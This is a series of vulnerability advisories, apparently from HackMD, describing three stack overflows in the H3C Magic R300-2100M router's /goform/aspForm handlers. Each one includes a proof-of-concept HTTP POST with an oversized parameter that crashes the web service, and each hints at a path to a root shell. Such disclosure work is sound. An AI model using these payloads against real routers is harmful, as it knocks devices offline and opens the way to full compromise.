\# H3C Magic R300-2100M was discovered stack overflow via the DelvsList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm. ## Vulnerability Details In function DelvsList,the size of local variable v6 is noly 16 bytes long.Parameters in the DelvsList interface use the getElement function to split strings(Var) and get items. !\[\](https://i.imgur.com/LCb0yxd.png) !\[\](https://i.imgur.com/dtJI92p.png) In line 28, the maximum size in the getElement function is limited to 64. When the length of input less than 64, the string will be copied into a1 by memcpy function. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/MjBbyN0.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/fWslGFH.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/maintain\_basic.asp?basicTab=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 321 CMD=DelvsList&GO=dhcpd.asp&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33628: H3C Magic R300-2100M was discovered stack overflow via the DelvsList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the UpdateSnat interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm. ## Vulnerability Details !\[\](https://i.imgur.com/CeIo4N2.png) In the UpdateSnat function, local variable v11 is 64 bytes long. !\[\](https://i.imgur.com/GeMNMb3.png) V9 can be controlled by attacker, entered as parameter 'param'. In line 20, v9 is formatted into v11 by function sscanf as long as the size of the data we enter is less than 512 bytes. So when the size of the data we enter is larger than 64 bytes and less than 512 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/owB1os3.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG=; UPGRADE\_SOURCE= Connection: close Content-Length: 528 CMD=UpdateSnat&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/DnFFG8C.png) And you can write your own exp to get the root shell.

CVE-2023-33627: H3C Magic R300-2100M was discovered stack overflow via the UpdateSnat interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the ipqos_lanip_dellist interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the ipqos\_lanip\_dellist interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the ipqos\_lanip\_dellist interface at /goform/aspForm. ## Vulnerability Details In function ipqos\_lanip\_dellist,the size of local variable v5 is noly 16 bytes long.Parameters in the ipqos\_lanip\_dellist interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/QgGfFLG.png) !\[\](https://i.imgur.com/yZbW5M2.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/MRTp8UN.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2033 CMD=ipqos\_lanip\_dellist&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

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